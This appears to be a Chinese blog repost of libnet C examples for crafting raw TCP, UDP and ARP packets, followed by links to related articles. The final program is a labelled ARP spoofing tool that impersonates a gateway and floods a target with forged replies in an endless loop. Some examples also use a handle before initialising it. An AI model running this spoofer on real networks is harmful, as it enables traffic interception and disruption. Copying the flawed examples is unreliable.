1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle; /* Libnet句柄 */
  4. int packet_size; /* 构造的数据包大小 */
  5. char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7. char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8. u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9. u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10. u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  12. libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各层build函数返回值 */
  13. u_short proto = IPPROTO_TCP; /* 传输层协议 */
  14. u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  15. u_long payload_s = 0; /* 承载数据的长度，初值为0 */
  16. /* 把目的IP地址字符串转化成网络序 */
  17. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18. /* 把源IP地址字符串转化成网络序 */
  19. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20. /* 初始化Libnet */
  21. if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22. printf("libnet_init failure\n");
  23. return (-1);
  24. };
  25. strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  26. payload_s = strlen(payload); /* 计算负载内容的长度 */
  27. #if 0
  28. /* 构建TCP的选项,通常在第一个TCP通信报文中设置MSS */
  29. tcp_op_tag = libnet_build_tcp_options(
  30. payload,
  31. payload_s,
  32. handle,
  33. 0
  34. );
  35. if (tcp_op_tag == -1) {
  36. printf("build_tcp_options failure\n");
  37. return (-2);
  38. };
  39. #endif
  40. tcp_tag = libnet_build_tcp(
  41. 30330,                    /* 源端口 */
  42. 30331,                    /* 目的端口 */
  43. 8888,                    /* 序列号 */
  44. 8889,                    /* 确认号 */
  45. TH_PUSH | TH_ACK,        /* Control flags */
  46. 14600,                    /* 窗口尺寸 */
  47. 0,                        /* 校验和,0为自动计算 */
  48. 0,                        /* 紧急指针 */
  49. LIBNET_TCP_H + payload_s, /* 长度 */
  50. payload,                    /* 负载内容 */
  51. payload_s,                /* 负载内容长度 */
  52. handle,                    /* libnet句柄 */
  53. 0                        /* 新建包 */
  54. );
  55. if (tcp_tag == -1) {
  56. printf("libnet_build_tcp failure\n");
  57. return (-3);
  58. };
  59. /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  60. ip_tag = libnet_build_ipv4(
  61. LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP协议块的总长,*/
  62. 0, /* tos */
  63. (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  64. 0, /* frag 片偏移 */
  65. (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  66. proto, /* 上层协议 */
  67. 0, /* 校验和，此时为0，表示由Libnet自动计算 */
  68. src_ip, /* 源IP地址,网络序 */
  69. dst_ip, /* 目标IP地址,网络序 */
  70. NULL, /* 负载内容或为NULL */
  71. 0, /* 负载内容的大小*/
  72. handle, /* Libnet句柄 */
  73. 0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  74. );
  75. if (ip_tag == -1) {
  76. printf("libnet_build_ipv4 failure\n");
  77. return (-4);
  78. };
  79. /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  80. eth_tag = libnet_build_ethernet(
  81. dst_mac, /* 以太网目的地址 */
  82. src_mac, /* 以太网源地址 */
  83. ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  84. NULL, /* 负载，这里为空 */
  85. 0, /* 负载大小 */
  86. handle, /* Libnet句柄 */
  87. 0 /* 协议块标记，0表示构造一个新的 */
  88. );
  89. if (eth_tag == -1) {
  90. printf("libnet_build_ethernet failure\n");
  91. return (-5);
  92. };
  93. packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  94. libnet_destroy(handle); /* 释放句柄 */
  95. return (0);
  96. }

UDP:

  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle; /* Libnet句柄 */
  4. int packet_size; /* 构造的数据包大小 */
  5. char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7. char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8. u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9. u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10. u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  12. libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各层build函数返回值 */
  13. u_short proto = IPPROTO_UDP; /* 传输层协议 */
  14. u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  15. u_long payload_s = 0; /* 承载数据的长度，初值为0 */
  16. /* 把目的IP地址字符串转化成网络序 */
  17. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18. /* 把源IP地址字符串转化成网络序 */
  19. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20. /* 初始化Libnet */
  21. if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22. printf("libnet_init failure\n");
  23. return (-1);
  24. };
  25. strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  26. payload_s = strlen(payload); /* 计算负载内容的长度 */
  27. udp_tag = libnet_build_udp(
  28. 30330, /* 源端口 */
  29. 30331, /* 目的端口 */
  30. LIBNET_UDP_H + payload_s, /* 长度 */
  31. 0, /* 校验和,0为libnet自动计算 */
  32. payload, /* 负载内容 */
  33. payload_s, /* 负载内容长度 */
  34. handle, /* libnet句柄 */
  35. 0 /* 新建包 */
  36. );
  37. if (udp_tag == -1) {
  38. printf("libnet_build_tcp failure\n");
  39. return (-3);
  40. };
  41. /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  42. ip_tag = libnet_build_ipv4(
  43. LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP协议块的总长,*/
  44. 0, /* tos */
  45. (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  46. 0, /* frag 片偏移 */
  47. (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  48. proto, /* 上层协议 */
  49. 0, /* 校验和，此时为0，表示由Libnet自动计算 */
  50. src_ip, /* 源IP地址,网络序 */
  51. dst_ip, /* 目标IP地址,网络序 */
  52. NULL, /* 负载内容或为NULL */
  53. 0, /* 负载内容的大小*/
  54. handle, /* Libnet句柄 */
  55. 0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  56. );
  57. if (ip_tag == -1) {
  58. printf("libnet_build_ipv4 failure\n");
  59. return (-4);
  60. };
  61. /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  62. eth_tag = libnet_build_ethernet(
  63. dst_mac, /* 以太网目的地址 */
  64. src_mac, /* 以太网源地址 */
  65. ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  66. NULL, /* 负载，这里为空 */
  67. 0, /* 负载大小 */
  68. handle, /* Libnet句柄 */
  69. 0 /* 协议块标记，0表示构造一个新的 */
  70. );
  71. if (eth_tag == -1) {
  72. printf("libnet_build_ethernet failure\n");
  73. return (-5);
  74. };
  75. packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  76. libnet_destroy(handle); /* 释放句柄 */
  77. return (0);
  78. }
 
ARP广播包:
  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle;        /* Libnet句柄 */
  4. int packet_size;
  5. char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  7. u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  8. u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  9. u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
  10. /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
  11. u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  12. u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
  13. char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  14. libnet_ptag_t arp_proto_tag, eth_proto_tag;
  15. /* 把目的IP地址字符串转化成网络序 */
  16. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17. /* 把源IP地址字符串转化成网络序 */
  18. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  19. if ( dst_ip == -1 || src_ip == -1 ) {
  20. printf("ip address convert error\n");
  21. exit(-1);
  22. };
  23. /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  24. if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  25. printf("libnet_init: error [%s]\n", error);
  26. exit(-2);
  27. };
  28. /* 构造arp协议块 */
  29. arp_proto_tag = libnet_build_arp(
  30. ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  31. ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  32. 6,                   /* 硬件地址长度 */
  33. 4,                   /* IP地址长度 */
  34. ARPOP_REQUEST,       /* 操作方式:ARP请求 */
  35. src_mac,             /* source MAC addr */
  36. (u_int8_t *)&src_ip, /* src proto addr */
  37. rev_mac,             /* dst MAC addr */
  38. (u_int8_t *)&dst_ip, /* dst IP addr */
  39. NULL,                /* no payload */
  40. 0,                   /* payload length */
  41. handle,              /* libnet tag */
  42. 0                    /* Create new one */
  43. );
  44. if (arp_proto_tag == -1)    {
  45. printf("build IP failure\n");
  46. exit(-3);
  47. };
  48. /* 构造一个以太网协议块
  49. You should only use this function when
  50. libnet is initialized with the LIBNET_LINK interface.*/
  51. eth_proto_tag = libnet_build_ethernet(
  52. dst_mac,         /* 以太网目的地址 */
  53. src_mac,         /* 以太网源地址 */
  54. ETHERTYPE_ARP,   /* 以太网上层协议类型，此时为ARP请求 */
  55. NULL,            /* 负载，这里为空 */
  56. 0,               /* 负载大小 */
  57. handle,          /* Libnet句柄 */
  58. 0                /* 协议块标记，0表示构造一个新的 */
  59. );
  60. if (eth_proto_tag == -1) {
  61. printf("build eth_header failure\n");
  62. return (-4);
  63. };
  64. packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/
  65. libnet_destroy(handle);                /* 释放句柄 */
  66. return (0);
  67. }
arp应答包(arp欺骗)
  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle;        /* Libnet句柄 */
  4. int packet_size;
  5. char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
  7. u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
  8. u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
  9. u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
  10. u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  12. libnet_ptag_t arp_proto_tag, eth_proto_tag;
  13. /* 把目的IP地址字符串转化成网络序 */
  14. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  15. /* 把源IP地址字符串转化成网络序 */
  16. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  17. if ( dst_ip == -1 || src_ip == -1 ) {
  18. printf("ip address convert error\n");
  19. exit(-1);
  20. };
  21. /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  22. if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  23. printf("libnet_init: error [%s]\n", error);
  24. exit(-2);
  25. };
  26. /* 构造arp协议块 */
  27. arp_proto_tag = libnet_build_arp(
  28. ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  29. ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  30. 6,                    /* 硬件地址长度 */
  31. 4,                    /* IP地址长度 */
  32. ARPOP_REPLY,        /* 操作方式:ARP请求 */
  33. src_mac,                /* source MAC addr */
  34. (u_int8_t *)&src_ip,    /* src proto addr */
  35. dst_mac,                /* dst MAC addr */
  36. (u_int8_t *)&dst_ip,    /* dst IP addr */
  37. NULL,                /* no payload */
  38. 0,                    /* payload length */
  39. handle,                /* libnet tag */
  40. 0                    /* Create new one */
  41. );
  42. if (arp_proto_tag == -1)    {
  43. printf("build IP failure\n");
  44. exit(-3);
  45. };
  46. /* 构造一个以太网协议块
  47. You should only use this function when
  48. libnet is initialized with the LIBNET_LINK interface.*/
  49. eth_proto_tag = libnet_build_ethernet(
  50. dst_mac,            /* 以太网目的地址 */
  51. src_mac,            /* 以太网源地址 */
  52. ETHERTYPE_ARP,    /* 以太网上层协议类型，此时为ARP请求 */
  53. NULL,            /* 负载，这里为空 */
  54. 0,                /* 负载大小 */
  55. handle,            /* Libnet句柄 */
  56. 0                /* 协议块标记，0表示构造一个新的 */
  57. );
  58. if (eth_proto_tag == -1)    {
  59. printf("build eth_header failure\n");
  60. return (-4);
  61. };
  62. while(1) {
  63. packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
  64. usleep(1000);
  65. };
  66. libnet_destroy(handle);                /* 释放句柄 */
  67. return (0);
  68. }
  69. from：http://blog.chinaunix.net/uid-10540984-id-3245098.html

libnet发包例子(tcp udp arp广播)的更多相关文章

  1. 三十天学不会TCP,UDP/IP网络编程-ARP -- 连接MAC和IP

    继续来做(da)推(guang)介(gao)我自己的!由于这两年接触到了比较多的这方面的知识,不想忘了,我决定把他们记录下来,所以决定在GitBook用半年时间上面写下来,这是目前写的一节,目前已完成 ...

  2. [JSBSim]基于winsocket2的TCP\UDP使用例子

    TCP部分: 参考:http://blog.csdn.net/sbfksmq/article/details/50808863 另附:linux下的tcp/udp参考:https://www.cnbl ...

  3. centos Linux系统日常管理2 tcpdump,tshark,selinux,strings命令, iptables ,crontab,TCP,UDP,ICMP,FTP网络知识 第十五节课

    centos  Linux系统日常管理2  tcpdump,tshark,selinux,strings命令, iptables ,crontab,TCP,UDP,ICMP,FTP网络知识 第十五节课 ...

  4. 高性能 TCP & UDP 通信框架 HP-Socket v3.3.1

    HP-Socket 是一套通用的高性能 TCP/UDP 通信框架,包含服务端组件.客户端组件和 Agent 组件,广泛适用于各种不同应用场景的 TCP/UDP 通信系统,提供 C/C++.C#.Del ...

  5. HTTP,FTP,TCP,UDP及SOCKET

    一.TCP/IP协议简析TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层:网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议传输层:TCP协议与UDP协议应用层:F ...

  6. SOCKET，TCP/UDP,HTTP,FTP

    (一)TCP/UDP,SOCKET,HTTP,FTP简析 TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层: 网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议 传 ...

  7. [网络] SOCKET， TCP/UDP, HTTP, FTP

    (一)TCP/UDP,SOCKET,HTTP,FTP简析 TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层: 网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议 传 ...

  8. TCP/UDP简介

    TCP/UDP简介 Socket小白篇-附加TCP/UDP简介 Socket 网络通信的要素 TCP和UDP Socket的通信流程图 1.Socket 什么是Socket Socket:又称作是套接 ...

  9. 异常处理与网络基础中的tcp,udp协议

    # 异常处理: # 什么是异常?异常和错误的区别 # Error 语法错误 比较明显的错误 在编译代码阶段就能检测出来 # Iteration 异常 在执行代码的过程中引发的异常 # 异常发生之后的效 ...

随机推荐

  1. [IOS]自定义长触屏事件

    写一个Demo来自定义一个长触屏事件,自定义长按手势. 实现步骤: 1.创建一个自定义手势类,命名为LongPressGestureRecognizer,在创建的时候继承UIGestureRecogn ...

  2. FZU 2169 shadow (用了一次邻接表存边，树形DP)

    Accept: 28 Submit: 97 Time Limit: 1000 mSec Memory Limit : 32768 KB Problem Description YL是shadow国的国 ...

  3. 用CSV文件读写数据的两种方式(转)

    导读:有时候我们需要对收集的数据做统计,并在页面提供显示以及下载.除了对传统的excel存取之外,对CSV文件的存取也很重要.本文列出了这两种操作的详细代码. 代码: <?php $file = ...

  4. pager 命令

    https://www.percona.com/blog/2013/01/21/fun-with-the-mysql-pager-command/ Last time I wrote about a ...

  5. php执行的困惑

    最近在用php语言实现各种数据结构算法排序,可以说是很蛋疼的一件事,最近遇到了一个问题,不知道是什么原因,姑且放到这里,希望能看到的人予以帮助 首先我用php写了这样一个类 class ListNod ...

  6. QTextEdit 总结

    关于Qt的富文本处理, 可以参考文档:Rich Text Processing 该文档有人翻译了一下(本来我想翻译- -!), 参考Rich Text Processing富文本处理 QTextEdi ...

  7. SimpleAliasRegistry implements AliasRegistry

    Spring - 4.2.3 // name,alias存储容器 ConcurrentHashMap <alias,name>private final Map<String, St ...

  8. ActiveXObject对象详解

    一.什么是 ActiveX 控件?         ActiveX 控件广泛用于 Internet.它们可以通过提供视频.动画内容等来增加浏览的乐趣.不过,这些程序可能出问题或者向您提供不需要的内容. ...

  9. Android（java）学习笔记87：File类使用

    package cn.itcast_01; import java.io.File; /* * 我们要想实现IO的操作,就必须知道硬盘上文件的表现形式. * 而Java就提供了一个类File供我们使用 ...

  10. 前端必会html知识整理

    1.浏览器内核:         1.ie:trident(三叉戟)内核         2.firefox:gecko(壁虎)内核         3.safari:webkit(浏览器核心)内核 ...